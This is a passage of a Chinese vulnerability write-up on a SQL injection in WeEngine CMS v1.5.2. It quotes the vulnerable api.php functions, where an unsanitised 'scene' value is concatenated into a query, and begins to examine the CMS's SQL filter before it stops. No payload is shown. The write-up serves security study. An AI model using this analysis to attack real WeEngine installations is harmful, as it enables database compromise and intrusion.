      <title>微擎 CMS：从 SQL 到 RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg4MzYxODA4Mw==&amp;mid=2247483828&amp;idx=1&amp;sn=28483018e9e4b305c867af71a47422a1</link>
      <description>经过测试发现，官网在 GitLee 上，在 v1.5.2 存在SQL漏洞，在 2.0 版本修复了该漏洞，因此目测至少影响到 v1.5.2 版本，本文仅供学习思路使用</description>
      <content:encoded><![CDATA[<p>
原创 <span>p4nda</span> <span>2021-05-31 12:01</span> <span style="display: inline-block;"></span>
</p>

<p>经过测试发现，官网在 GitLee 上，在 v1.5.2 存在SQL漏洞，在 2.0 版本修复了该漏洞，因此目测至少影响到 v1.5.2 版本，本文仅供学习思路使用</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=25d1948e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8Cg1dk1Bicu66ib8zRg5vibBzyqobqQN42hcOhNWicGVar0rP8jhNAXQUEsWg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n141" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x01 写在前面</span></h2><p cid="n142" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">微擎 CMS 在 2.0 版本的时候悄咪咪修复了一处 SQL 注入漏洞：</span></p><p cid="n143" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">api.php</code><span md-inline="plain" style="box-sizing: border-box;">536 行</span><span md-inline="image" data-src="/Users/panda/Desktop/1.png" style="box-sizing: border-box;min-width: 10px;min-height: 10px;word-break: break-all;font-family: monospace;vertical-align: top;margin: 24px auto;border-top-left-radius: 4px;border-top-right-radius: 4px;border-bottom-right-radius: 4px;border-bottom-left-radius: 4px;"></span></span></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.48189863234111024" data-s="300,640" style="" data-type="png" data-w="2486" src="https://wechat2rss.xlab.app/img-proxy/?k=af5a6e61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmqPmmwgiaklVPDY5n04Im8Cgomt2nzB0Ff6AAZKibvz3W1ZweZVaV8fcYo76bc1dYvhrygpuFygIyLg%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n144" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">该处的注入漏洞网上没有出现过分析文章，因此本文就来分析一下该处 SQL 注入的利用。</span></p><p cid="n144" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">注意：本文仅作学习，请勿用于非法行为。</span></p><h2 cid="n145" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x02 影响版本</span></h2><p cid="n146" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">经过测试发现，官网在 GitLee 上，在 </span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">v1.5.2</span><span md-inline="plain" style="box-sizing: border-box;"> 存在此漏洞，在 </span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">2.0</span><span md-inline="plain" style="box-sizing: border-box;"> 版本</span><span md-inline="link" style="box-sizing: border-box;"><span md-inline="plain" style="box-sizing: border-box;">修复</span><span md-inline="plain" style="box-sizing: border-box;">了该漏洞，因此目测至少影响到 v1.5.2 版本</span></span></span></span></p><h2 cid="n147" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x03 SQL 注入漏洞分析</span></h2><p cid="n148" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">这个注入漏洞分析还是比较简单的，直接定位到存在漏洞的代码处</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">api.php</code><span md-inline="plain" style="box-sizing: border-box;"> 530 行开始、564 行开始的两个函数：</span></span></p><pre style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;overflow: visible;color: rgb(34, 34, 34);text-align: start;background-color: rgb(255, 255, 255);"><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><code style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 1em;overflow: auto;tab-size: 4;color: var(--primary-very-high);background: var(--blend-primary-secondary-5);overflow-wrap: normal;display: block;padding: 0.5em;max-height: 500px;"><span style="color: var(--primary-very-high);font-weight: bold;">private</span> <span style="color: var(--primary-very-high);font-weight: bold;">function</span> <span style="color: var(--hljs-string);font-weight: bold;">analyzeSubscribe</span>(&amp;<span style="color: var(--hljs-attribute);">$message</span>) {<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">global</span> <span style="color: var(--hljs-attribute);">$_W</span>;<br/>        <span style="color: var(--hljs-attribute);">$params</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>();<br/>        <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;type&#39;</span>] = <span style="color: var(--hljs-string);">&#39;text&#39;</span>;<br/>        <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;redirection&#39;</span>] = true;<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;scene&#39;</span>])) {<br/>            <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;source&#39;</span>] = <span style="color: var(--hljs-string);">&#39;qr&#39;</span>;<br/>            <span style="color: var(--hljs-attribute);">$sceneid</span> = trim(<span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;scene&#39;</span>]);<br/>            <span style="color: var(--hljs-attribute);">$scene_condition</span> = <span style="color: var(--hljs-string);">&#39;&#39;</span>;<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (is_numeric(<span style="color: var(--hljs-attribute);">$sceneid</span>)) {<br/>                <span style="color: var(--hljs-attribute);">$scene_condition</span> = <span style="color: var(--hljs-string);">&#34; `qrcid` = &#39;<span style="color: var(--primary-very-high);">{$sceneid}</span>&#39;&#34;</span>;<br/>            }<span style="color: var(--primary-very-high);font-weight: bold;">else</span>{<br/>                <span style="color: var(--hljs-attribute);">$scene_condition</span> = <span style="color: var(--hljs-string);">&#34; `scene_str` = &#39;<span style="color: var(--primary-very-high);">{$sceneid}</span>&#39;&#34;</span>;<br/>            }<br/>            <span style="color: var(--hljs-attribute);">$qr</span> = pdo_fetch(<span style="color: var(--hljs-string);">&#34;SELECT `id`, `keyword` FROM &#34;</span> . tablename(<span style="color: var(--hljs-string);">&#39;qrcode&#39;</span>) . <span style="color: var(--hljs-string);">&#34; WHERE <span style="color: var(--primary-very-high);">{$scene_condition}</span> AND `uniacid` = &#39;<span style="color: var(--primary-very-high);">{$_W[&#39;uniacid&#39;]}</span>&#39;&#34;</span>);<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$qr</span>)) {<br/>                <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;content&#39;</span>] = <span style="color: var(--hljs-attribute);">$qr</span>[<span style="color: var(--hljs-string);">&#39;keyword&#39;</span>];<br/>                <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$qr</span>[<span style="color: var(--hljs-string);">&#39;type&#39;</span>]) &amp;&amp; <span style="color: var(--hljs-attribute);">$qr</span>[<span style="color: var(--hljs-string);">&#39;type&#39;</span>] == <span style="color: var(--hljs-string);">&#39;scene&#39;</span>) {<br/>                    <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;msgtype&#39;</span>] = <span style="color: var(--hljs-string);">&#39;text&#39;</span>;<br/>                }<br/>                <span style="color: var(--hljs-attribute);">$params</span> += <span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;analyzeText(<span style="color: var(--hljs-attribute);">$message</span>);<br/>                <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-attribute);">$params</span>;<br/>            }<br/>        }<br/>        <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;source&#39;</span>] = <span style="color: var(--hljs-string);">&#39;subscribe&#39;</span>;<br/>        <span style="color: var(--hljs-attribute);">$setting</span> = uni_setting(<span style="color: var(--hljs-attribute);">$_W</span>[<span style="color: var(--hljs-string);">&#39;uniacid&#39;</span>], <span style="color: var(--primary-very-high);font-weight: bold;">array</span>(<span style="color: var(--hljs-string);">&#39;welcome&#39;</span>));<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$setting</span>[<span style="color: var(--hljs-string);">&#39;welcome&#39;</span>])) {<br/>            <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;content&#39;</span>] = <span style="color: var(--hljs-attribute);">$setting</span>[<span style="color: var(--hljs-string);">&#39;welcome&#39;</span>];<br/>            <span style="color: var(--hljs-attribute);">$params</span> += <span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;analyzeText(<span style="color: var(--hljs-attribute);">$message</span>);<br/>        }<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-attribute);">$params</span>;<br/>    }<br/>    <span style="color: var(--primary-very-high);font-weight: bold;">private</span> <span style="color: var(--primary-very-high);font-weight: bold;">function</span> <span style="color: var(--hljs-string);font-weight: bold;">analyzeQR</span>(&amp;<span style="color: var(--hljs-attribute);">$message</span>) {<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">global</span> <span style="color: var(--hljs-attribute);">$_W</span>;<br/>        <span style="color: var(--hljs-attribute);">$params</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>();<br/>        <span style="color: var(--hljs-attribute);">$params</span> = <span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;handler(<span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;type&#39;</span>]);<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$params</span>)) {<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-attribute);">$params</span>;<br/>        }<br/>        <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;type&#39;</span>] = <span style="color: var(--hljs-string);">&#39;text&#39;</span>;<br/>        <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;redirection&#39;</span>] = true;<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;scene&#39;</span>])) {<br/>            <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;source&#39;</span>] = <span style="color: var(--hljs-string);">&#39;qr&#39;</span>;<br/>            <span style="color: var(--hljs-attribute);">$sceneid</span> = trim(<span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;scene&#39;</span>]);<br/>            <span style="color: var(--hljs-attribute);">$scene_condition</span> = <span style="color: var(--hljs-string);">&#39;&#39;</span>;<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (is_numeric(<span style="color: var(--hljs-attribute);">$sceneid</span>)) {<br/>                <span style="color: var(--hljs-attribute);">$scene_condition</span> = <span style="color: var(--hljs-string);">&#34; `qrcid` = &#39;<span style="color: var(--primary-very-high);">{$sceneid}</span>&#39;&#34;</span>;<br/>            }<span style="color: var(--primary-very-high);font-weight: bold;">else</span>{<br/>                <span style="color: var(--hljs-attribute);">$scene_condition</span> = <span style="color: var(--hljs-string);">&#34; `scene_str` = &#39;<span style="color: var(--primary-very-high);">{$sceneid}</span>&#39;&#34;</span>;<br/>            }<br/>            <span style="color: var(--hljs-attribute);">$qr</span> = pdo_fetch(<span style="color: var(--hljs-string);">&#34;SELECT `id`, `keyword` FROM &#34;</span> . tablename(<span style="color: var(--hljs-string);">&#39;qrcode&#39;</span>) . <span style="color: var(--hljs-string);">&#34; WHERE <span style="color: var(--primary-very-high);">{$scene_condition}</span> AND `uniacid` = &#39;<span style="color: var(--primary-very-high);">{$_W[&#39;uniacid&#39;]}</span>&#39;&#34;</span>);<br/>        }<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$qr</span>) &amp;&amp; !<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;ticket&#39;</span>])) {<br/>            <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;source&#39;</span>] = <span style="color: var(--hljs-string);">&#39;qr&#39;</span>;<br/>            <span style="color: var(--hljs-attribute);">$ticket</span> = trim(<span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;ticket&#39;</span>]);<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$ticket</span>)) {<br/>                <span style="color: var(--hljs-attribute);">$qr</span> = pdo_fetchall(<span style="color: var(--hljs-string);">&#34;SELECT `id`, `keyword` FROM &#34;</span> . tablename(<span style="color: var(--hljs-string);">&#39;qrcode&#39;</span>) . <span style="color: var(--hljs-string);">&#34; WHERE `uniacid` = &#39;<span style="color: var(--primary-very-high);">{$_W[&#39;uniacid&#39;]}</span>&#39; AND ticket = &#39;<span style="color: var(--primary-very-high);">{$ticket}</span>&#39;&#34;</span>);<br/>                <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$qr</span>)) {<br/>                    <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(count(<span style="color: var(--hljs-attribute);">$qr</span>) != <span style="color: var(--hljs-number);">1</span>) {<br/>                        <span style="color: var(--hljs-attribute);">$qr</span> = <span style="color: var(--primary-very-high);font-weight: bold;">array</span>();<br/>                    } <span style="color: var(--primary-very-high);font-weight: bold;">else</span> {<br/>                        <span style="color: var(--hljs-attribute);">$qr</span> = <span style="color: var(--hljs-attribute);">$qr</span>[<span style="color: var(--hljs-number);">0</span>];<br/>                    }<br/>                }<br/>            }<br/>        }<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">if</span>(!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$qr</span>)) {<br/>            <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;content&#39;</span>] = <span style="color: var(--hljs-attribute);">$qr</span>[<span style="color: var(--hljs-string);">&#39;keyword&#39;</span>];<br/>            <span style="color: var(--primary-very-high);font-weight: bold;">if</span> (!<span style="color: var(--primary-very-high);font-weight: bold;">empty</span>(<span style="color: var(--hljs-attribute);">$qr</span>[<span style="color: var(--hljs-string);">&#39;type&#39;</span>]) &amp;&amp; <span style="color: var(--hljs-attribute);">$qr</span>[<span style="color: var(--hljs-string);">&#39;type&#39;</span>] == <span style="color: var(--hljs-string);">&#39;scene&#39;</span>) {<br/>                <span style="color: var(--hljs-attribute);">$message</span>[<span style="color: var(--hljs-string);">&#39;msgtype&#39;</span>] = <span style="color: var(--hljs-string);">&#39;text&#39;</span>;<br/>            }<br/>            <span style="color: var(--hljs-attribute);">$params</span> += <span style="color: var(--primary-very-high);font-weight: bold;">$this</span>-&gt;analyzeText(<span style="color: var(--hljs-attribute);">$message</span>);<br/>        }<br/>        <span style="color: var(--primary-very-high);font-weight: bold;">return</span> <span style="color: var(--hljs-attribute);">$params</span>;<br/>    }<br/></code></pre><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p cid="n150" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">analyzeSubscribe</code><span md-inline="plain" style="box-sizing: border-box;">函数中的 SQL 语句：</span></span><br/></p><pre spellcheck="false" lang="php" cid="n151" mdtype="fences" style="box-sizing: border-box;overflow: visible;font-size: 0.9rem;break-inside: avoid;text-align: left;white-space: normal;background-image: inherit;background-size: inherit;background-attachment: inherit;background-origin: inherit;background-clip: inherit;padding: 3px 5px;width: inherit;border-width: 1px;border-style: solid;border-color: rgb(122, 122, 122);-webkit-font-smoothing: initial;line-height: 1.55rem;border-radius: 2px;overflow-wrap: normal;font-family: &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;margin-top: 2rem !important;margin-bottom: 2rem !important;"> <span role="presentation" style="box-sizing: border-box;padding-right: 0.1px;"><span style="box-sizing: border-box;color: rgb(0, 85, 170);">$qr</span> <span style="box-sizing: border-box;color: rgb(152, 26, 26);">=</span> <span style="box-sizing: border-box;color: rgb(0, 0, 0);">pdo_fetch</span>(<span style="box-sizing: border-box;color: rgb(34, 162, 201);">&#34;SELECT `id`, `keyword` FROM &#34;</span> . <span style="box-sizing: border-box;color: rgb(0, 0, 0);">tablename</span>(<span style="box-sizing: border-box;color: rgb(34, 162, 201);">&#39;qrcode&#39;</span>) . <span style="box-sizing: border-box;color: rgb(34, 162, 201);">&#34;</span> <span style="box-sizing: border-box;color: rgb(34, 162, 201);">WHERE </span>{<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$scene_condition</span>} <span style="box-sizing: border-box;color: rgb(34, 162, 201);">AND `uniacid` = &#39;</span>{<span style="box-sizing: border-box;color: rgb(0, 85, 170);">$_W</span>[<span style="box-sizing: border-box;color: rgb(34, 162, 201);">&#39;uniacid&#39;</span>]}<span style="box-sizing: border-box;color: rgb(34, 162, 201);">&#39;&#34;</span>);</span></pre><p cid="n152" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">直接将</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">$scene_condition</code><span md-inline="plain" style="box-sizing: border-box;">变量拼接到了</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">pod_fetch</code><span md-inline="plain" style="box-sizing: border-box;">函数中，而</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">$scene_condition</code><span md-inline="plain" style="box-sizing: border-box;">变量值来自于</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">$sceneid = trim($message[&#39;scene&#39;]);</code><span md-inline="plain" style="box-sizing: border-box;">，可以看到仅仅是做了移除字符串两侧空白字符处理。那么就可以通过构造</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">$message[&#39;scene&#39;]</code><span md-inline="plain" style="box-sizing: border-box;">的值，去构造 SQL 语句。</span></span></span></span></span></span></p><p cid="n153" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">在</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">analyzeQR</code><span md-inline="plain" style="box-sizing: border-box;">函数中也是类似，因此我们以</span><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">analyzeSubscribe</code><span md-inline="plain" style="box-sizing: border-box;">函数为例来分析构造poc。</span></span></span></p><h2 cid="n154" mdtype="heading" style="box-sizing: border-box;break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.3rem;margin-top: 1rem;margin-bottom: 1rem;white-space: pre-wrap;border-bottom-width: 2px;border-bottom-style: solid;border-bottom-color: rgb(239, 112, 96);"><span md-inline="plain" style="box-sizing: border-box;display: inline-block;font-weight: bold;background-color: rgb(239, 112, 96);color: rgb(255, 255, 255);padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;background-position: initial initial;background-repeat: initial initial;">0x04 SQL 注入构造分析</span></h2><p cid="n155" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">微擎中为了避免 SQL注入，实现了包括参数化查询、关键字&amp;字符过滤的方式。</span></p><p cid="n156" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="plain" style="box-sizing: border-box;">过滤的内容如下：</span></p><p cid="n157" mdtype="paragraph" style="box-sizing: border-box;line-height: 1.8rem;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;word-spacing: 0.05rem;color: var(--mid-13);"><span md-inline="code" spellcheck="false" style="box-sizing: border-box;"><code style="box-sizing: border-box;font-family: &#34;Source Code Pro&#34;, &#34;Roboto Mono&#34;, &#34;Source Sans Pro&#34;, &#34;Microsoft YaHei&#34;, 微软雅黑 !important;text-align: left;padding: 2px 4px;border-top-left-radius: 2px;border-top-right-radius: 2px;border-bottom-right-radius: 2px;border-bottom-left-radius: 2px;font-size: 0.92rem;color: rgb(255, 53, 2);background-color: rgb(248, 245, 236);">framework/class/db.class.php</code><span md-inline="plain" style="box-sizing: border-box;"> 700 行：</span></span></p><pre style="font-family: Consolas, Menlo, Monaco, &#34;Lucida Console&#34;, &#34;Liberation Mono&#34;, &#34;DejaVu Sans Mono&#34;, &#34;Bitstream Vera Sans Mono&#34;, &#34;Courier New&#34;, monospace;font-size: 14px;overflow: visible;color: 